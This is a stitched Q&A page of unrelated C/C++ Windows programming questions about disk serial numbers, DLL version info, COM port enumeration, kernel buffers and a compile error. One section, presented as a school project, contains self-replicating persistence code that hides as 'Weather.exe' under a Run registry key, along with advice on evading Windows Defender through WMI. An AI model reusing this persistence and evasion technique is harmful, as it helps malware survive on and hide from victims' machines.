get hardware hard disk serial number with c++ - c++

I need to get the "real" hard disk serial number. I searched for different solutions without success.
I'm bulding a DLL in c++ that has to interact with another software/language.
Here's the code:
extern "C" __declspec(dllexport) void getHDSerial( int nParams, int* pIn, int* pOut )
{
char* command = "wmic path win32_physicalmedia get SerialNumber";
char* hdSerial = (char*) system(command);
if (hdSerial) {
GETSTRING(pOut[0]) = hdSerial;
// system(exit);
}
else {
GETSTRING(pOut[0]) = "1";
}
}
The DLL should reply the correct serial code as available in CMD using:
wmic path win32_physicalmedia get SerialNumber
No need to support for other OS, only windows.

Related

Read the file version of a dll in C: The system cannot find the file specified

I am new in the forum but I have already found a lot of help for my other projects.
I am using Visual Studio 2019 and I have created a .rc file which contains the file version and a few other things. These information are displayed in the Properties window of the my dll correctly.
I have created a function
void PrintVersion(TCHAR* pszFilePath, void (*printFunc)(const char*, ...));
which receives the file path and a pointer to my logger function. Inside that function I want to read the file version and print it to the logger. But my logger returns Error in GetFileVersionInfoSize: The system cannot find the file specified.
My function call does look like this:
TCHAR* filename = L"mydll.dll";
PrintVersion(filename, gPrintFunc);
And the function is implemented as follows:
// Read the version of the dll and write it to the logger
void PrintVersion(TCHAR* pszFilePath, void (*printFunc)(const char*, ...))
{
DWORD dwSize = 0;
DWORD verHandle = 0;
BYTE* pbVersionInfo = NULL;
VS_FIXEDFILEINFO* pFileInfo = NULL;
UINT puLenFileInfo = 0;
// Get the size of the version information. This is done to check if the file is avaialbe
// If the size is zero then a error occured
dwSize = GetFileVersionInfoSize(pszFilePath, &verHandle);
if (dwSize == 0)
{
gPrintFunc("Error in GetFileVersionInfoSize: ");
PrintLastErrorString(gPrintFunc);
return;
}
// Create some memory for the file version info
pbVersionInfo = malloc(dwSize);
// Store the information into pbVersionInfo
#pragma warning(suppress : 6387)
if (!GetFileVersionInfo(pszFilePath, verHandle, dwSize, pbVersionInfo))
{
gPrintFunc("Error in GetFileVersionInfo: ");
PrintLastErrorString(gPrintFunc);
free(pbVersionInfo);
return;
}
// Make the information easier accessable in pFileInfo
#pragma warning(suppress : 6387)
if (!VerQueryValue(pbVersionInfo, TEXT("\\"), (LPVOID*)&pFileInfo, &puLenFileInfo))
{
gPrintFunc("Error in VerQueryValue: ");
PrintLastErrorString(gPrintFunc);
free(pbVersionInfo);
return;
}
// pFileInfo->dwFileVersionMS and pFileInfo->dwFileVersionLS contain the software version
// Major2B.Minor2B.Revision2B.Build2B
gPrintFunc("File Version of %s: %d.%d.%d.%d\n",
pszFilePath,
(pFileInfo->dwFileVersionMS >> 16) & 0xffff,
(pFileInfo->dwFileVersionMS >> 0) & 0xffff,
(pFileInfo->dwFileVersionLS >> 16) & 0xffff,
(pFileInfo->dwFileVersionLS >> 0) & 0xffff
);
// Free up the reserved memory
free(pbVersionInfo);
}
// Used for receiving the last WIN32 error and write it to the logger
void PrintLastErrorString(void (*printFunc)(const char*, ...))
{
// Get the error id of the last error
DWORD iLastError;
iLastError = GetLastError();
//Ask Win32 to give us the string version of that message ID.
//The parameters we pass in, tell Win32 to create the buffer that holds the message for us (because we don't yet know how long the message string will be).
LPSTR messageBuffer = NULL;
size_t size = FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, iLastError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPSTR)&messageBuffer, 0, NULL);
gPrintFunc("%s\n", messageBuffer);
return;
}
I created that function by combining a few different C++ and C# examples from this forum. I am not familiar with the TCHAR* datatype. I assume that the problem has maybe something to do with the filename string. Further I am not able to print the filename to the logger with the %s format placeholder. In this case only the first letter of the filename is displayed.
One further info. Before I copied that code to the dll. I created a small console application. And in this case it was possible to read the file version of the exe. I also tried to specify the complete path of the dll. The dll and the exe, which uses the dll are in the same directory.
Maybe someone can help me :)
BR
Thank you for your answers.
I changed now the character set to: Use Unicode Character Set and now it works as expected.

Avoid Antivirus detection C++

For a school project, I'm developing a tiny malware that replicate itself and autorun with reg keys.
I want my program to set a reg key to autorun but when I do it Windows defender detect the RegSetValueExA function from windows.h. I also want my program to execute without administrator privilege.
My teacher told me that it's possible to avoid the detection. I have to detect when WD look at my program and tell it to stop/sleep while WD perform the scan. He also told me that it's possible to disable WD with powershell. But I don't really know how to it.
Here's the code that triggers Windows Defender:
void Victim::replicateNpersist()
{
char filename[ MAX_PATH ];
// Declaration of the directory that contain the malware
string Dir = "C:\\Users\\"+string(c_user)+"\\AppData\\Local\\WeatherChannel";
int LDir = Dir.length();
char dirPath[LDir+1];
strcpy(dirPath, Dir.c_str());
// Declaration of the object to copy
string Dest = "C:\\Users\\"+c_user+"\\AppData\\Local\\WeatherChannel\\Weather.exe";
int LDest = Dest.length();
char newLocation[LDest+1];
strcpy(newLocation,Dest.c_str());
// Creation of directory
CreateDirectoryA(dirPath, NULL);
BOOL stats=0;
DWORD size = GetModuleFileNameA(NULL, filename, MAX_PATH);
CopyFileA(filename, newLocation, stats);
// Persistence
HKEY hKey;
LPCSTR keyPath = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
LONG lnRes = RegOpenKeyExA(HKEY_CURRENT_USER, keyPath,0,KEY_WRITE,&hKey);
if(lnRes == ERROR_SUCCESS) {
RegSetValueExA(hKey,"Weather.exe", 0, REG_SZ,(LPBYTE)newLocation,strlen(newLocation)+1);
}
}
Try to create your registry key in another manner. Like a lot of true malware, you can try to use StdRegProv class through WMI :
Getting value from an OUT parameter in WMI in C++
https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf

windows getting serial port names using c++ [duplicate]

There are several ways to list serial ports under Windows but I'm not sure what is the proper way: the way that does detect all serial ports that are available.
One good code example is http://www.naughter.com/enumser.html - where there are 9 (nine!) ways of enumerating serial devices.
The question is: what is the optimal way of doing it.
Requirements:
to not open ports in order to check if they are available.
to be able to detect ports with different names than COMx.
to work on Windows XP SP2 or above
void SelectComPort() //added function to find the present serial
{
TCHAR lpTargetPath[5000]; // buffer to store the path of the COMPORTS
DWORD test;
bool gotPort=0; // in case the port is not found
for(int i=0; i<255; i++) // checking ports from COM0 to COM255
{
CString str;
str.Format(_T("%d"),i);
CString ComName=CString("COM") + CString(str); // converting to COM0, COM1, COM2
test = QueryDosDevice(ComName, (LPSTR)lpTargetPath, 5000);
// Test the return value and error if any
if(test!=0) //QueryDosDevice returns zero if it didn't find an object
{
m_MyPort.AddString((CString)ComName); // add to the ComboBox
gotPort=1; // found port
}
if(::GetLastError()==ERROR_INSUFFICIENT_BUFFER)
{
lpTargetPath[10000]; // in case the buffer got filled, increase size of the buffer.
continue;
}
}
if(!gotPort) // if not port
m_MyPort.AddString((CString)"No Active Ports Found"); // to display error message incase no ports found
}
If you can access the registry, the HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\SERIALCOMM key contains a list of COM ports Windows currently supports (in some cases, this information may be stale/incorrect; like, I suspect, when a plug & play device providing serial ports has not completed detection/installation or has been recently removed).
This is the way .NET Framework's SerialPort.GetPortNames() method reports available COM ports, and the above information is derived from the linked page.
Serial ports are very simple devices, dating from the stone age of computing hardware. They don't support Plug & Play, there is no way to tell that somebody plugged in a device. The only thing you can do is discover what ports are available, the SerialPort.GetPortNames() returns the list. Some USB emulators can generate a descriptive name to go with the port name, you can discover those with WMI, Win32_SerialPort class.
None of which helps you discover what COM port is connected to a particular device. Only a human knows, she physically plugged the cable in the connector. You'll need to provide a config UI that lets the user select the port number. A combo box gets the job done. Save the selection in your config data, it is very likely that the device is still connected to the same port the next time your program starts.
This is a modernized version of #michael-jacob-mathew's answer:
#include <iostream>
#include <string>
#include <Windows.h>
bool SelectComPort() //added function to find the present serial
{
char lpTargetPath[5000]; // buffer to store the path of the COMPORTS
bool gotPort = false; // in case the port is not found
for (int i = 0; i < 255; i++) // checking ports from COM0 to COM255
{
std::string str = "COM" + std::to_string(i); // converting to COM0, COM1, COM2
DWORD test = QueryDosDevice(str.c_str(), lpTargetPath, 5000);
// Test the return value and error if any
if (test != 0) //QueryDosDevice returns zero if it didn't find an object
{
std::cout << str << ": " << lpTargetPath << std::endl;
gotPort = true;
}
if (::GetLastError() == ERROR_INSUFFICIENT_BUFFER)
{
}
}
return gotPort;
}
It produces the following output on my computer:
COM1: \Device\Serial0
COM3: \Device\VCP0
Modified #Dženan answer to use wide characters and returning list of ints
#include <string>
#include <list>
list<int> getAvailablePorts()
{
wchar_t lpTargetPath[5000]; // buffer to store the path of the COM PORTS
list<int> portList;
for (int i = 0; i < 255; i++) // checking ports from COM0 to COM255
{
wstring str = L"COM" + to_wstring(i); // converting to COM0, COM1, COM2
DWORD res = QueryDosDevice(str.c_str(), lpTargetPath, 5000);
// Test the return value and error if any
if (res != 0) //QueryDosDevice returns zero if it didn't find an object
{
portList.push_back(i);
//std::cout << str << ": " << lpTargetPath << std::endl;
}
if (::GetLastError() == ERROR_INSUFFICIENT_BUFFER)
{
}
}
return portList;
}
You can check the windows registry base to list all COM ports. Here is my code > github file
CUIntArray ports;
EnumerateSerialPorts(ports);
for (int i = 0; i<ports.GetSize(); i++)
{
CString str;
str.Format(_T("COM%d"), ports.ElementAt(i));
m_ctlPort.AddString(str);
}

How to create and edit a global PCHAR without any memory leak

This might seem like a basic question, but I can't find a solution anywhere.
I have to get Information out of a kernel mode. Therefore i work with an IOCTL.
My User-Mode-Applications sends this IOCTL using DeviceIoControl with METHOD_OUT_DIRECT because i need to transfer big amounts of data.
This sends a char-Pointer to my Driver.
The Driver gets the IOCTL and can respond to it within the interrupt request.
Code looks like this:
case IOCTL_FILTERIO_REQUEST_DATA:
{
PVOID pInputBuffer;
PVOID pOutputBuffer;
ULONG outputBufferLength;
PCHAR pReturnData = g_pDataPack;
ULONG dwDataSize = 8000;
ULONG dwDataRead = 0, dwDataWritten = 0;
status = STATUS_UNSUCCESSFUL;
pInputBuffer = Irp - > AssociatedIrp.SystemBuffer;
pOutputBuffer = NULL;
if (Irp - > MdlAddress) {
pOutputBuffer = MmGetSystemAddressForMdlSafe(Irp - > MdlAddress, NormalPagePriority);
}
if (pOutputBuffer) {
RtlCopyMemory(pOutputBuffer, pReturnData, dwDataSize);
status = STATUS_SUCCESS; * g_pDataPack = 0;
db_counter = 0;
}
}
break;
But i need to copy information from another part of the kernel-mode.
I tried to create a global PCHAR like this:
Header-File (Declaration) : extern PCHAR g_pDataPack;
Source-File (Definition) : PCHAR g_pDataPack = "IOCTL DEFINITION";
Editing (Other Source-File): *g_pDataPack++ = 'some stuff';
My Problem is, that i have to edit and enlarge the global PCHAR many times before the interrupt copies it to the local PCHAR and sends it back to my USER-Mode-Application.
I tried to reset the global Pointer every 5000 editions, but that did not realy work.
if (db_counter > 5000)
{
*g_pDataPack = 0;
db_counter = 0;
}
The Program crashes after a special amount of time. I guess, because the global pointer allocates to much space?
I tried to create a CHAR Array, but that did not work at all.
Is there another better or easier way to allocate a special size of memory and then edit this one and copy it to the local PCHAR pReturnData when i need it or do i have to learn how to work with DMA for this project?
Declare it this way to have it global to a module:
module.c:
#include <windows.h>
#define GLOBALBUFFERMAX (1024)
CHAR dataPack[GLOBALBUFFERMAX] = "";
PCHAR g_pDataPack = dataPack;
... and the following way to have it global to the program (#include module.h to every module that shall be able to access pglobal_buffer):
module.h:
#include <windows.h>
#define GLOBALBUFFERMAX (1024)
extern PCHAR g_pDataPack;
module.c
#include <windows.h>
#include "module.h"
CHAR dataPack[GLOBALBUFFERMAX] = "";
PCHAR g_pDataPack = dataPack;

Problem compiling C++ program after adding one argument to a function

All I did was I added a single more argument (iterations) to this function:
/**
* saveImage : save the last image received.
* #param pName name of the file
*/
void GVMsample::saveImageLocal(const std::string& pName, const std::string& pImageFormat, const int &iterations) {
// Check that a video module has been registered.
if (!fRegisteredToVim) {
throw ALError(getName(), "saveImageLocal()", "No video module is currently "
"registered! Call registerToVIM() first.");
}
#ifdef GENERICVIDEOMODULE_IS_REMOTE_ON
// If this module is running in remote mode, we shouldn't use saveImageLocal.
throw ALError(getName(), "saveImageLocal()", "Module is run in remote mode, "
"use saveImageRemote instead !");
#else
ALImage* imageIn = NULL;
for ( int iter = 0; iter < iterations; iter++ )
{
// Now you can get the pointer to the video structure.
imageIn = (ALImage*) (fCamProxy->call<int>("getImageLocal", fGvmName));
if (!imageIn) {
throw ALError(getName(), "saveImageLocal", "Invalid image returned.");
}
fLogProxy->info(getName(), imageIn->toString());
// You can get some image information that you may find useful.
const int width = imageIn->fWidth;
const int height = imageIn->fHeight;
const int nbLayers = imageIn->fNbLayers;
const int colorSpace = imageIn->fColorSpace;
const long long timeStamp = imageIn->fTimeStamp;
const int seconds = (int)(timeStamp/1000000LL);
// Set the buffer we received to our IplImage header.
fIplImageHeader->imageData = (char*)imageIn->getFrame();
saveIplImage(fIplImageHeader, pName, pImageFormat, seconds);
// send image over UDP to the PC
// we will use udt
}
// Now that you're done with the (local) image, you have to release it from the V.I.M.
fCamProxy->call<int>("releaseImage", fGvmName);
#endif
}
The functions is defined like this in the header file:
/**
* saveImage : save the last image received.
* #param pName name of the file
*/
void saveImageLocal(const std::string& pName, const std::string& imageFormat, const int &iterations);
And I am getting this error:
When I take that argument away it compiles ok again.
As the error says, the prototype on line 51 of gvnsample.h is wrong. You forgot to update it, or you modified the wrong file.
Ok. I have figured out the problem. I was editing the right file. But...
I was editing the file in Windows 7 in a folder shared with Ubuntu 10.10. I was then trying to compile the program in Ubuntu through VirtualBox.
The problem was for some reason I need to reboot the virtual machine or else the files in the shared folder don't get updated when I rewrite them in Windows (when I rewrite a file in Ubuntu the changes are visible in Windows right away but the other way around reboot is needed - strange).